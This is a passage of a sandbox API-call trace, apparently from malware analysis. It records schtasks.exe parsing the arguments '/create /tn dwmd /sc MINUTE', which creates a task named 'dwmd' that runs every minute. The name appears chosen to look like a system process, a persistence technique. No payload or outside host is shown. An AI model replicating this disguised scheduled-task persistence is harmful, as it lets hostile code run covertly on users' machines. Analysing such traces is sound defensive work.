dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="?") returned 1 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="s") returned 1 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="u") returned 1 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="p") returned 1 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="ru") returned 2 [0107.393] GetThreadLocale () returned 0x409 [0107.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.393] lstrlenW (lpString="rp") returned 2 [0107.393] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="sc") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="mo") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="d") returned 1 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="m") returned 1 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="i") returned 1 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="tn") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="tr") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="st") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="sd") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="ed") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.394] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.394] lstrlenW (lpString="it") returned 2 [0107.394] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="et") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="k") returned 1 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="du") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="ri") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="z") returned 1 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="f") returned 1 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="v1") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="xml") returned 3 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="ec") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="rl") returned 2 [0107.395] GetThreadLocale () returned 0x409 [0107.395] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.395] lstrlenW (lpString="delay") returned 5 [0107.395] GetThreadLocale () returned 0x409 [0107.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.396] lstrlenW (lpString="np") returned 2 [0107.396] GetThreadLocale () returned 0x409 [0107.396] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0107.396] lstrlenW (lpString="hresult") returned 7 [0107.396] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.396] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.396] lstrlenW (lpString="/create") returned 7 [0107.396] lstrlenW (lpString="-/") returned 2 [0107.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.396] lstrlenW (lpString="create") returned 6 [0107.396] lstrlenW (lpString="create") returned 6 [0107.396] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.396] lstrlenW (lpString="create") returned 6 [0107.396] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.396] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.396] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.396] lstrlenW (lpString="|create|") returned 8 [0107.396] lstrlenW (lpString="|create|") returned 8 [0107.396] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0107.396] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.396] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.396] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.396] lstrlenW (lpString="/tn") returned 3 [0107.396] lstrlenW (lpString="-/") returned 2 [0107.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.396] lstrlenW (lpString="create") returned 6 [0107.396] lstrlenW (lpString="create") returned 6 [0107.396] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.396] lstrlenW (lpString="tn") returned 2 [0107.396] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.397] lstrlenW (lpString="|create|") returned 8 [0107.397] lstrlenW (lpString="|tn|") returned 4 [0107.397] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0107.397] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.397] lstrlenW (lpString="?") returned 1 [0107.397] lstrlenW (lpString="?") returned 1 [0107.397] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] lstrlenW (lpString="tn") returned 2 [0107.397] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.397] lstrlenW (lpString="|?|") returned 3 [0107.397] lstrlenW (lpString="|tn|") returned 4 [0107.397] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.397] lstrlenW (lpString="s") returned 1 [0107.397] lstrlenW (lpString="s") returned 1 [0107.397] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] lstrlenW (lpString="tn") returned 2 [0107.397] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.397] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.397] lstrlenW (lpString="|s|") returned 3 [0107.397] lstrlenW (lpString="|tn|") returned 4 [0107.397] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.397] lstrlenW (lpString="u") returned 1 [0107.397] lstrlenW (lpString="u") returned 1 [0107.397] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.397] lstrlenW (lpString="tn") returned 2 [0107.397] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.398] lstrlenW (lpString="|u|") returned 3 [0107.398] lstrlenW (lpString="|tn|") returned 4 [0107.398] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.398] lstrlenW (lpString="p") returned 1 [0107.398] lstrlenW (lpString="p") returned 1 [0107.398] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] lstrlenW (lpString="tn") returned 2 [0107.398] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.398] lstrlenW (lpString="|p|") returned 3 [0107.398] lstrlenW (lpString="|tn|") returned 4 [0107.398] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.398] lstrlenW (lpString="ru") returned 2 [0107.398] lstrlenW (lpString="ru") returned 2 [0107.398] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] lstrlenW (lpString="tn") returned 2 [0107.398] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.398] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.398] lstrlenW (lpString="|ru|") returned 4 [0107.398] lstrlenW (lpString="|tn|") returned 4 [0107.398] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0107.398] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.398] lstrlenW (lpString="rp") returned 2 [0107.398] lstrlenW (lpString="rp") returned 2 [0107.398] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.398] lstrlenW (lpString="tn") returned 2 [0107.398] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.399] lstrlenW (lpString="|rp|") returned 4 [0107.399] lstrlenW (lpString="|tn|") returned 4 [0107.399] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0107.399] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.399] lstrlenW (lpString="sc") returned 2 [0107.399] lstrlenW (lpString="sc") returned 2 [0107.399] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.399] lstrlenW (lpString="tn") returned 2 [0107.399] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.399] lstrlenW (lpString="|sc|") returned 4 [0107.399] lstrlenW (lpString="|tn|") returned 4 [0107.399] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0107.399] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.399] lstrlenW (lpString="mo") returned 2 [0107.399] lstrlenW (lpString="mo") returned 2 [0107.399] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.399] lstrlenW (lpString="tn") returned 2 [0107.399] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.399] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.399] lstrlenW (lpString="|mo|") returned 4 [0107.399] lstrlenW (lpString="|tn|") returned 4 [0107.399] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0107.399] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.399] lstrlenW (lpString="d") returned 1 [0107.400] lstrlenW (lpString="d") returned 1 [0107.400] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] lstrlenW (lpString="tn") returned 2 [0107.400] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|d|") returned 3 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.400] lstrlenW (lpString="|d|") returned 3 [0107.400] lstrlenW (lpString="|tn|") returned 4 [0107.400] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.400] lstrlenW (lpString="m") returned 1 [0107.400] lstrlenW (lpString="m") returned 1 [0107.400] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] lstrlenW (lpString="tn") returned 2 [0107.400] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|m|") returned 3 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.400] lstrlenW (lpString="|m|") returned 3 [0107.400] lstrlenW (lpString="|tn|") returned 4 [0107.400] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.400] lstrlenW (lpString="i") returned 1 [0107.400] lstrlenW (lpString="i") returned 1 [0107.400] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] lstrlenW (lpString="tn") returned 2 [0107.400] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|i|") returned 3 [0107.400] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.400] lstrlenW (lpString="|i|") returned 3 [0107.400] lstrlenW (lpString="|tn|") returned 4 [0107.400] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.400] lstrlenW (lpString="tn") returned 2 [0107.401] lstrlenW (lpString="tn") returned 2 [0107.401] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.401] lstrlenW (lpString="tn") returned 2 [0107.401] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.401] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.401] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.401] lstrlenW (lpString="|tn|") returned 4 [0107.401] lstrlenW (lpString="|tn|") returned 4 [0107.401] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] lstrlenW (lpString="dwmd") returned 4 [0107.401] lstrlenW (lpString="-/") returned 2 [0107.401] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] lstrlenW (lpString="dwmd") returned 4 [0107.401] StrChrIW (lpStart="dwmd", wMatch=0x3a) returned 0x0 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] lstrlenW (lpString="dwmd") returned 4 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.401] lstrlenW (lpString="/sc") returned 3 [0107.401] lstrlenW (lpString="-/") returned 2 [0107.401] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.401] lstrlenW (lpString="create") returned 6 [0107.401] lstrlenW (lpString="create") returned 6 [0107.401] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.401] lstrlenW (lpString="sc") returned 2 [0107.401] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.402] lstrlenW (lpString="|create|") returned 8 [0107.402] lstrlenW (lpString="|sc|") returned 4 [0107.402] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0107.402] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.402] lstrlenW (lpString="?") returned 1 [0107.402] lstrlenW (lpString="?") returned 1 [0107.402] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.402] lstrlenW (lpString="sc") returned 2 [0107.402] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.402] lstrlenW (lpString="|?|") returned 3 [0107.402] lstrlenW (lpString="|sc|") returned 4 [0107.402] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.402] lstrlenW (lpString="s") returned 1 [0107.402] lstrlenW (lpString="s") returned 1 [0107.402] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.402] lstrlenW (lpString="sc") returned 2 [0107.402] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.402] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.402] lstrlenW (lpString="|s|") returned 3 [0107.402] lstrlenW (lpString="|sc|") returned 4 [0107.402] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.402] lstrlenW (lpString="u") returned 1 [0107.402] lstrlenW (lpString="u") returned 1 [0107.403] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.403] lstrlenW (lpString="sc") returned 2 [0107.403] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.403] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.405] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.405] lstrlenW (lpString="|u|") returned 3 [0107.405] lstrlenW (lpString="|sc|") returned 4 [0107.405] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.405] lstrlenW (lpString="p") returned 1 [0107.405] lstrlenW (lpString="p") returned 1 [0107.405] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.405] lstrlenW (lpString="sc") returned 2 [0107.405] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.405] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.405] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.405] lstrlenW (lpString="|p|") returned 3 [0107.405] lstrlenW (lpString="|sc|") returned 4 [0107.405] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.405] lstrlenW (lpString="ru") returned 2 [0107.405] lstrlenW (lpString="ru") returned 2 [0107.405] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.405] lstrlenW (lpString="sc") returned 2 [0107.405] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.406] lstrlenW (lpString="|ru|") returned 4 [0107.406] lstrlenW (lpString="|sc|") returned 4 [0107.406] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0107.406] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.406] lstrlenW (lpString="rp") returned 2 [0107.406] lstrlenW (lpString="rp") returned 2 [0107.406] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.406] lstrlenW (lpString="sc") returned 2 [0107.406] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.406] lstrlenW (lpString="|rp|") returned 4 [0107.406] lstrlenW (lpString="|sc|") returned 4 [0107.406] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0107.406] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.406] lstrlenW (lpString="sc") returned 2 [0107.406] lstrlenW (lpString="sc") returned 2 [0107.406] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.406] lstrlenW (lpString="sc") returned 2 [0107.406] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.406] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.406] lstrlenW (lpString="|sc|") returned 4 [0107.406] lstrlenW (lpString="|sc|") returned 4 [0107.406] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0107.406] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.406] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.406] lstrlenW (lpString="MINUTE") returned 6 [0107.406] lstrlenW (lpString="-/") returned 2 [0107.407] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.407] lstrlenW (lpString="MINUTE") returned 6 [0107.407] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0107.407] 